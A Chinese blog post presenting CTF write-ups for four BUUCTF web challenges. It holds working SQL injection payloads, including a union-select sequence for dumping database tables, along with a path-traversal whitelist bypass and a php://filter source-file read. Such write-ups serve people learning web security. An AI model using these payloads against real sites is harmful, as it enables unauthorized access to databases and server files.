Buuctf-Web(1-6)

1[极客大挑战 2019]EasySQL

根据题目,用单引号检测是否存在SQL注入漏洞

分析报错信息:看'单引号后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。

在两个位置用单引号测试,发现闭合符号为单引号,注入点在password

image-20240520154524845

万能密码法

image-20240520153459341

image-20240520153507112

常规法

注入流程

数据库->表->字段->值

根据注入位置数据类型将sql注入分类
利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3--+

利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。

?id=-1 union select 1,2,3 --+

利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1' union select 1,database(),version() --+

利用 union select 联合查询,获取表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知库名' table_name='已知表名'--+

利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

本题payload:

?username=1&password=1' or 1=1%23

image-20240520154920455

[极客大挑战 2019]EasySQL - 知乎 (zhihu.com)

2[极客大挑战 2019]Havefun

查看源代码,找到这道题的关键

image-20240520155040569

payload:

?cat=dog

image-20240520155557078

我还以为是xss😦

3[HCTF 2018]WarmUp

查看页面源代码,发现source.php

image-20240520160043642

访问/source.php

image-20240520160201571

is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子
<?php
  highlight_file(__FILE__);
  class emmm
  {
    public static function checkFile(&$page)
    {
        //初始化一个白名单数组`$whitelist`,其中只包含两个文件:"source.php" 和 "hint.php"。
      $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        //首先检查`$page`变量是否存在且为字符串类型。
      if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
      }
		 //如果`$page`在白名单内,则返回`true`。
​      if (in_array($page, $whitelist)) {
​        return true;
​      }
		//接着,尝试去除`$page`中的查询字符串部分(即`?`之后的部分),并检查处理后的`$_page`是否在白名单内。
​      $_page = mb_substr(
​        $page,
​        0,
​        mb_strpos($page . '?', '?')
​      );
        
​      if (in_array($_page, $whitelist)) {
​        return true;
​      }

​      $_page = urldecode($page);
​      $_page = mb_substr(
​        $_page,
​        0,
​        mb_strpos($_page . '?', '?')
​      );
        //然后,对`$page`进行URL解码(`urldecode`),并再次去除查询字符串部分,并检查处理后的`$_page`是否在白名单内。
​      if (in_array($_page, $whitelist)) {
​        return true;
​      }
        //如果所有检查都失败,则返回`false`并输出"you can't see it"。
​      echo "you can't see it";
​      return false;
​    }
  }
		//检查`$_REQUEST['file']`是否存在、是否为字符串,并通过`emmm::checkFile`方法检查其是否在白名单内。
  if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
  ) {
    include $_REQUEST['file'];
    exit;
  } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  } 
?>

payload:

?file=hint.php

image-20240520161506945

我们发现最底部的if语句为执行条件,有三个条件,第一个判断文件不能为空(检查是否传了file参数),第二这个传的参数是字符串,第三要过白名单检测,过了之后包含 隐藏了flag的文件。我们再看上面的if语句,白名单是hint.php,又有mb_strpos和mb_substr截取内容,碰到?就截止,所以我们只需要输入 source.php?file=hint.php?即可绕过白名单检测,然后在输入…/逐级跳转目录读取flag即可,可以一个一个试

/source.php?file=hint.php?file=../../../../../ffffllllaaaagggg

image-20240520161930734

4[ACTF2020 新生赛]Include

image-20240520163552108

我们点击tips这个链接,发现url发生变化

image-20240520163525837

猜测文件包含漏洞,此时就要想办法查看这个文件,那怎样来查看呢

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:

resource=<要过滤的数据流>     指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>         可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>        可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表>          任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。

php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

PHP伪协议(封装协议/内置协议)_php封装协议-CSDN博客

PHP: php:// - Manual

php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

payload:

 /?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码后的内容为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZDg0M2YzM2YtNzY2Zi00YzllLTg5Y2QtYzU2M2IzZmMyMDhkfQo=

接着base64解码:

posted @ 2024-06-04 13:11  machacha  阅读(21)  评论(0编辑  收藏  举报